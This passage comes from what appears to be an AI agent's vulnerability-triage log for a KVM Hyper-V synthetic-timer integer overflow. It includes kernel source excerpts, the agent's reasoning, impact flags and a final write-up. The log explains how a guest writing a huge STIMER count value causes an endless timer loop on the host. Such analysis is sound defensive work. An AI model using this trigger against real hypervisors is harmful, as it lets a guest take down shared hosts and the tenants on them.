625:
626: return HRTIMER_NORESTART;
627: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 50/2 |
2026/05/19 01:23 |
llm |
expert |
0m
Model:
Tokens:
input: 49589
output: 49
thoughts: 1086
Thoughts: **The Infinite Loop of Hrtimer Interrupts**
Okay, so here's what's happening. `stimer_timer_callback` is calling `stimer_mark_pending`, which sets a bit and kicks the vCPU. Then, `kvm_hv_process_stimers` gets called. It checks the `stimer`'s `enable` and `count` values. The crux of the issue is this comparison: `time_now >= exp_time`. Now, `time_now` is obtained using `get_time_ref_counter`, and it's a small value. The `exp_time` is set to `0xffffffffffff0001`. This comparison fails because `time_now` is far smaller than `exp_time`. Therefore, `stimer_expiration` is *not* called.
Consequently, we enter the condition `if ((stimer->config.enable) && stimer->count)` and `if (!stimer->msg_pending)` which leads to another call of `stimer_start`. And that's where the trouble really begins. `stimer_start` calculates a new expiry time: `100 * (stimer->count - time_now)`. Because `time_now` is small, but `stimer->count` is large, this results in an overflow, effectively setting the hrtimer's expiry time to a point in the *past*. The hrtimer then fires *immediately*.
This is where the nightmare begins. We have an infinite loop: hrtimer fires -> `stimer_mark_pending` -> `kvm_hv_process_stimers` -> `stimer_start` -> hrtimer fires *again* and *again*. This is all triggered from `vcpu_enter_guest` which is responsible for processing requests, including those signaled by hrtimers.
Here's the problem: The hrtimer is going to interrupt the guest *immediately* after it's set in the past. Or even before we enter the guest if the hrtimer is already expired! `hrtimer_start` with a time in the past is essentially a queued interrupt; the softirq takes care of processing the interrupt pretty soon. This triggers a storm of hrtimer interrupts and VM exits, as the vCPU is constantly interrupted, and we're stuck in this tight loop.
The RCU stall report is the smoking gun! The fact that we have an RCU stall report ("rcu_preempt detected stalls") with a task blocked on `lock_acquire`, and another task being `rcu_preempt kthread starved` for a large number of jiffies is a clear indicator of resource starvation. This has to be the effect of `SCHED_FIFO` priority 7 and the constant execution.
The reproducer's use of `SCHED_FIFO` with a high priority exacerbates this problem. The `SCHED_FIFO` task preempts other tasks when it's constantly running. Here, our loop is running on an hrtimer callback (hardirq context), from which we end up in `kvm_hv_process_stimers` (task context in `vcpu_enter_guest`) which then starts another hrtimer in the past. Then `vcpu_enter_guest` disables interrupts, enters guest, then the guest immediately exits. This happens because the previous hrtimer interrupt fires (or it fires very soon).
Now, the hrtimer callback sets `KVM_REQ_HV_STIMER`, kicks the vCPU, and the loop starts again! And since the task never yields, `rcu_preempt` can't run.
Itβs an infinite loop of VM exits and hrtimer interrupts caused by a past hrtimer expiration time and high `SCHED_FIFO` priority, starving RCU. This explains the RCU stalls.
|
| 51/2 |
2026/05/19 01:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:get_time_ref_counter]
Results: map[SourceCode: 572: static u64 get_time_ref_counter(struct kvm *kvm)
573: {
574: struct kvm_hv *hv = to_kvm_hv(kvm);
575: struct kvm_vcpu *vcpu;
576: u64 tsc;
577:
578: /*
579: * Fall back to get_kvmclock_ns() when TSC page hasn't been set up,
580: * is broken, disabled or being updated.
581: */
582: if (hv->hv_tsc_page_status != HV_TSC_PAGE_SET)
583: return div_u64(get_kvmclock_ns(kvm), 100);
584:
585: vcpu = kvm_get_vcpu(kvm, 0);
586: tsc = kvm_read_l1_tsc(vcpu, rdtsc());
587: return mul_u64_u64_shr(tsc, hv->tsc_ref.tsc_scale, 64)
588: + hv->tsc_ref.tsc_offset;
589: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 52/2 |
2026/05/19 01:24 |
llm |
expert |
0m
Model:
Tokens:
input: 51934
output: 51
thoughts: 2302
Thoughts: **Integer Overflow DoS in Hyper-V Synthetic Timer Implementation**
Okay, so here's what's happening. The `get_time_ref_counter` function gives us time in 100ns units, and when the VM just starts, this `time_now` is small. The code then checks `stimer->count` against this `time_now`. `stimer->count` is initialized to `0xffffffffffff0001`, which is a large value, making the initial comparison false. The core issue lies in this calculation: `100 * (stimer->count - time_now)`. Because `stimer->count` is so large, and `time_now` relatively small, the subtraction results in a large value. This large value is then multiplied by 100, which overflows a 64-bit integer. This causes the value to become negative (when interpreted as a signed integer, which is what `ktime_add_ns` uses). `ktime_add_ns` then adds this negative, overflowing value to `ktime_now`, effectively setting the timer to expire in the past. This causes the timer to fire immediately and the entire process repeats. The loop becomes infinite because the code doesn't properly handle the overflow condition in `stimer_start`. It checks if `time_now >= stimer->count`, but it does *not* check if the calculated expiration time using the overflowed value is in the past.
Essentially, the bug boils down to this: a lack of proper checks for integer overflow when calculating timer expiration times. This leads to an `hrtimer_start` call with a negative time, which causes immediate expiration and a subsequent endless loop of timer firing and processing. This infinite loop is a classic Denial of Service vulnerability. It's not an exploitable bug for privilege escalation or memory corruption as no memory corruption is happening. The overflow causes the hrtimer to be started with a time in the past, leading to an infinite loop, consuming 100% CPU.
Now, let's consider the attack surface. The `stimer->count` value is controlled by the guest through an MSR (`HV_X64_MSR_STIMER0_COUNT`). A malicious guest can craft a specific value for `stimer->count` that will trigger this overflow. Values of the count must be large enough such that the equation: `100 * (stimer->count - time_now)` must be >= 2^64 to cause the overflow, which results in the small negative value that leads to an infinite loop. This integer overflow, therefore, is directly exploitable by a malicious guest. Since this requires setting an MSR, this is likely exposed in most Hyper-V VM setups. The `hv-stimer` CPU flag is commonly enabled in production VM configurations like libvirt Windows guest templates, exposing the necessary MSRs and making this a very easy VM Guest Trigger.
|
| 53/2 |
2026/05/19 01:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:kvm_hv_set_msr]
Results: map[SourceCode:1519: static int kvm_hv_set_msr(struct kvm_vcpu *vcpu, u32 msr, u64 data, bool host)
1520: {
1521: struct kvm_vcpu_hv *hv_vcpu = to_hv_vcpu(vcpu);
1522:
1523: if (unlikely(!host && !hv_check_msr_access(hv_vcpu, msr)))
1524: return 1;
1525:
1526: switch (msr) {
1527: case HV_X64_MSR_VP_INDEX: {
1528: struct kvm_hv *hv = to_kvm_hv(vcpu->kvm);
1529: u32 new_vp_index = (u32)data;
1530:
1531: if (!host || new_vp_index >= KVM_MAX_VCPUS)
1532: return 1;
1533:
1534: if (new_vp_index == hv_vcpu->vp_index)
1535: return 0;
1536:
1537: /*
1538: * The VP index is initialized to vcpu_index by
1539: * kvm_hv_vcpu_postcreate so they initially match. Now the
1540: * VP index is changing, adjust num_mismatched_vp_indexes if
1541: * it now matches or no longer matches vcpu_idx.
1542: */
1543: if (hv_vcpu->vp_index == vcpu->vcpu_idx)
1544: atomic_inc(&hv->num_mismatched_vp_indexes);
1545: else if (new_vp_index == vcpu->vcpu_idx)
1546: atomic_dec(&hv->num_mismatched_vp_indexes);
1547:
1548: hv_vcpu->vp_index = new_vp_index;
1549: break;
1550: }
1551: case HV_X64_MSR_VP_ASSIST_PAGE: {
1552: u64 gfn;
1553: unsigned long addr;
1554:
1555: if (!(data & HV_X64_MSR_VP_ASSIST_PAGE_ENABLE)) {
1556: hv_vcpu->hv_vapic = data;
1557: if (kvm_lapic_set_pv_eoi(vcpu, 0, 0))
1558: return 1;
1559: break;
1560: }
1561: gfn = data >> HV_X64_MSR_VP_ASSIST_PAGE_ADDRESS_SHIFT;
1562: addr = kvm_vcpu_gfn_to_hva(vcpu, gfn);
1563: if (kvm_is_error_hva(addr))
1564: return 1;
1565:
1566: /*
1567: * Clear apic_assist portion of struct hv_vp_assist_page
1568: * only, there can be valuable data in the rest which needs
1569: * to be preserved e.g. on migration.
1570: */
1571: if (put_user(0, (u32 __user *)addr))
1572: return 1;
1573: hv_vcpu->hv_vapic = data;
1574: kvm_vcpu_mark_page_dirty(vcpu, gfn);
1575: if (kvm_lapic_set_pv_eoi(vcpu,
1576: gfn_to_gpa(gfn) | KVM_MSR_ENABLED,
1577: sizeof(struct hv_vp_assist_page)))
1578: return 1;
1579: break;
1580: }
1581: case HV_X64_MSR_EOI:
1582: return kvm_hv_vapic_msr_write(vcpu, APIC_EOI, data);
1583: case HV_X64_MSR_ICR:
1584: return kvm_hv_vapic_msr_write(vcpu, APIC_ICR, data);
1585: case HV_X64_MSR_TPR:
1586: return kvm_hv_vapic_msr_write(vcpu, APIC_TASKPRI, data);
1587: case HV_X64_MSR_VP_RUNTIME:
1588: if (!host)
1589: return 1;
1590: hv_vcpu->runtime_offset = data - current_task_runtime_100ns();
1591: break;
1592: case HV_X64_MSR_SCONTROL:
1593: case HV_X64_MSR_SVERSION:
1594: case HV_X64_MSR_SIEFP:
1595: case HV_X64_MSR_SIMP:
1596: case HV_X64_MSR_EOM:
1597: case HV_X64_MSR_SINT0 ... HV_X64_MSR_SINT15:
1598: return synic_set_msr(to_hv_synic(vcpu), msr, data, host);
1599: case HV_X64_MSR_STIMER0_CONFIG:
1600: case HV_X64_MSR_STIMER1_CONFIG:
1601: case HV_X64_MSR_STIMER2_CONFIG:
1602: case HV_X64_MSR_STIMER3_CONFIG: {
1603: int timer_index = (msr - HV_X64_MSR_STIMER0_CONFIG)/2;
1604:
1605: return stimer_set_config(to_hv_stimer(vcpu, timer_index),
1606: data, host);
1607: }
1608: case HV_X64_MSR_STIMER0_COUNT:
1609: case HV_X64_MSR_STIMER1_COUNT:
1610: case HV_X64_MSR_STIMER2_COUNT:
1611: case HV_X64_MSR_STIMER3_COUNT: {
1612: int timer_index = (msr - HV_X64_MSR_STIMER0_COUNT)/2;
1613:
1614: return stimer_set_count(to_hv_stimer(vcpu, timer_index),
1615: data, host);
1616: }
1617: case HV_X64_MSR_TSC_FREQUENCY:
1618: case HV_X64_MSR_APIC_FREQUENCY:
1619: /* read-only, but still ignore it if host-initiated */
1620: if (!host)
1621: return 1;
1622: break;
1623: default:
1624: kvm_pr_unimpl_wrmsr(vcpu, msr, data);
1625: return 1;
1626: }
1627:
1628: return 0;
1629: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 54/2 |
2026/05/19 01:24 |
llm |
expert |
0m
Model:
Tokens:
input: 56992
output: 66
thoughts: 1467
Thoughts: **My Analysis of the KVM Hyper-V Synthetic Timer Vulnerability**
Okay, so here's what I've got. The core issue revolves around how KVM handles Hyper-V synthetic timers. Specifically, `kvm_hv_set_msr` allows a guest to modify `HV_X64_MSR_STIMER0_COUNT`, but only if the host VMM (like QEMU) has exposed the `hv-stimer` feature via CPUID. That makes it a standard paravirtualized feature. A malicious guest can exploit this.
The bug lies in an integer overflow within the timer calculation. Essentially, an excessively large value written to `HV_X64_MSR_STIMER0_COUNT`, combined with the subtraction of the current time and subsequent multiplication, creates a negative value. This leads to the timer being scheduled in the past, causing it to immediately expire and, consequently, an infinite loop in the host kernel. This infinite loop occurs on the host CPU core running the VCPU.
The consequences are clear: Denial of Service. The host CPU gets stuck at 100% usage, leading to soft lockups. If the VCPU thread is running `SCHED_FIFO` (real-time KVM), it will starve other threads, leading to RCU stalls, and possibly a host kernel panic. Even without `SCHED_FIFO`, it's still a DoS.
Let's break down the dimensions:
* **Exploitable:** No. This is not a memory corruption vulnerability; it's a logic bug caused by integer overflow. No privileges are elevated.
* **Denial of Service:** Yes. It absolutely leads to a DoS because of the infinite loop and the resulting resource starvation.
* **Accessible From Unprivileged Processes:** No. The trigger requires access to `/dev/kvm`. Typically, this device node is restricted to the `kvm` group and root. Therefore, it is not accessible to a typical unprivileged user. Some distributions might make it accessible to the `kvm` group, but strictly speaking, it is restricted. Since the prompt specifies to evaluate from a typical unprivileged user, it is inaccessible.
* **Accessible From User Namespaces:** No. User namespaces don't grant access to `/dev/kvm`.
* **VM Guest Trigger:** Yes. A malicious guest can write to the MSRs and trigger the host DoS. This is what makes it a critical KVM vulnerability.
* **VM Host Trigger in the Confidential Computing Context:** No, this is not applicable.
* **Ethernet Network Trigger:** No.
* **Other Remote Trigger:** No.
* **Peripheral Trigger:** No.
* **Malicious Filesystem Trigger:** No.
The reproducer directly uses `/dev/kvm`, confirming the need for access to trigger the issue. The key is how the timer expiration is calculated, particularly the overflow in the `100 * (stimer->count - time_now)` part. It's a textbook example of how a carefully crafted input (a large value for `HV_X64_MSR_STIMER0_COUNT`) can create an unexpected, negative outcome. The bug is limited to Hyper-V timers; there are no other apparent ways to trigger this specific issue. The fix is obvious: either check for an integer overflow before multiplying by 100, or find a safer calculation method. This is a known issue, and I've seen fixes involving overflow checks or capping the values.
I'm confident in setting:
* DenialOfService: True
* Exploitable: False
* FilesystemTrigger: False
* NetworkTrigger: False
* PeripheralTrigger: False
* RemoteTrigger: False
* Unprivileged: False
* UserNamespace: False
* VMGuestTrigger: True
* VMHostTrigger: False
|
| 55/2 |
2026/05/19 01:24 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:true VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:true VMHostTrigger:false]
|
| 56/2 |
2026/05/19 01:24 |
llm |
expert |
0m
Model:
Tokens:
input: 59432
output: 855
thoughts: 439
Thoughts: **My Analysis of the KVM Hyper-V Synthetic Timer Vulnerability**
Okay, the analysis is complete, and it's time to craft the final response.
The core issue boils down to an integer overflow within the KVM Hyper-V synthetic timer implementation. Specifically, it's triggered when a guest sets a one-shot timer with an extremely large count value. The host calculates the expiration time, and that's where the problem arises. It calculates the expiration by multiplying the difference between the set time, and the current time by 100.
Because the guest-provided count is excessively large, subtracting the current time from it still yields an enormous value. Multiplying that difference by 100 pushes the result past the bounds of a 64-bit integer, causing an overflow. This overflow causes the resulting `ktime_t` value, which is interpreted as a signed 64-bit integer, to become negative.
This negative time is then added to the current time, resulting in an absolute expiration time that lies in the past. When the `hrtimer_start` function is called with this past expiration time, the timer immediately fires. The callback for this timer then kicks the VCPU and sets a pending request. However, when the VCPU processes this request, it sees that the timer condition hasn't been met yet (because the count has not been reached), so it restarts the timer.
This creates an infinite loop where the timer triggers immediately and restarts endlessly, consuming a full CPU core. If the VCPU is running under a real-time scheduling policy, like `SCHED_FIFO`, as demonstrated in the reproducer, this can lead to starvation of other threads on the core. This starvation can then cause RCU stalls, potentially leading to a host kernel panic.
It is critical to note that this is a Denial of Service (DoS) vulnerability. It does not lead to memory corruption or any form of privilege escalation. It can be exploited by a malicious KVM guest if the Hyper-V synthetic timer feature (`hv-stimer`) is exposed to the guest. A typical unprivileged user process cannot trigger this because it needs access to `/dev/kvm`, which is generally restricted to root and the `kvm` group. User namespaces do not provide this access.
|
| 57/1 |
2026/05/19 01:24 |
action |
format-explanation |
0m
Results: map[Explanation:Based on the analysis of the bug report and the reproducer, here is the
assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is an integer overflow in the KVM subsystem's handling of Hyper-V
synthetic timers (`stimer`).
When a guest configures a one-shot synthetic timer, it provides an absolute
expiration time in 100-nanosecond units (`stimer->count`). In `stimer_start()`,
the host calculates the relative time until expiration and converts it to
nanoseconds to set up a host `hrtimer`:
`ktime_add_ns(ktime_now, 100 * (stimer->count - time_now))`
If a malicious guest provides a very large value for `stimer->count` (e.g.,
`0xffffffffffff0001` as seen in the reproducer), the subtraction `stimer->count
- time_now` yields a very large 64-bit unsigned integer. Multiplying this by 100
causes a 64-bit integer overflow. The resulting value, when interpreted as a
signed 64-bit integer (`s64` used by `ktime_t`), becomes negative.
Adding this negative value to the current time results in an absolute expiration
time that is in the past. Consequently, `hrtimer_start()` schedules the timer to
fire immediately. The timer callback runs, sets a pending request
(`KVM_REQ_HV_STIMER`), and kicks the VCPU. When the VCPU thread processes the
request in `kvm_hv_process_stimers()`, it checks if the timer has actually
expired by comparing `time_now >= stimer->count`. Since `time_now` is still much
smaller than the huge `stimer->count`, this check fails, and the code
incorrectly assumes the timer still needs to wait, calling `stimer_start()`
again.
This creates an infinite loop: `stimer_start()` sets a timer in the past -> it
fires immediately -> `kvm_hv_process_stimers()` restarts it. This loop consumes
100% of the host CPU core. If the VCPU thread is running with a real-time
scheduling policy (like `SCHED_FIFO`, which is common in production KVM setups
to reduce latency), it will starve other critical kernel threads (like
`rcu_preempt`), leading to RCU stalls and eventually a host kernel panic.
**Impact Dimensions:**
* **Exploitable:** **False**. The bug is a logic error caused by an integer
overflow that leads to an infinite loop. It does not cause out-of-bounds memory
accesses, use-after-free, or any other memory corruption that could be leveraged
for privilege escalation or arbitrary code execution.
* **Denial Of Service:** **True**. The bug causes an infinite loop in the host
kernel, leading to 100% CPU consumption on the affected core, soft lockups, RCU
stalls, and potentially a full system crash (kernel panic).
* **Accessible From Unprivileged Processes:** **False**. Triggering the bug from
user-space requires opening and issuing `ioctl`s to `/dev/kvm`. This device node
is typically restricted to `root` and users in the `kvm` group. A typical
unprivileged user does not have the necessary permissions.
* **Accessible From User Namespaces:** **False**. Creating a user namespace does
not grant access to the restricted `/dev/kvm` device node.
* **VM Guest Trigger:** **True**. A malicious KVM guest can trigger this bug to
cause a Denial of Service on the host, provided the VMM (e.g., QEMU) exposes the
Hyper-V synthetic timer enlightenments (`hv-stimer` CPU flag) to the guest. This
is a common configuration for Windows guests.
* **Other Triggers:** **False**. The bug is strictly tied to the KVM Hyper-V
emulation and cannot be triggered via network traffic, peripherals, or malicious
filesystems.]
|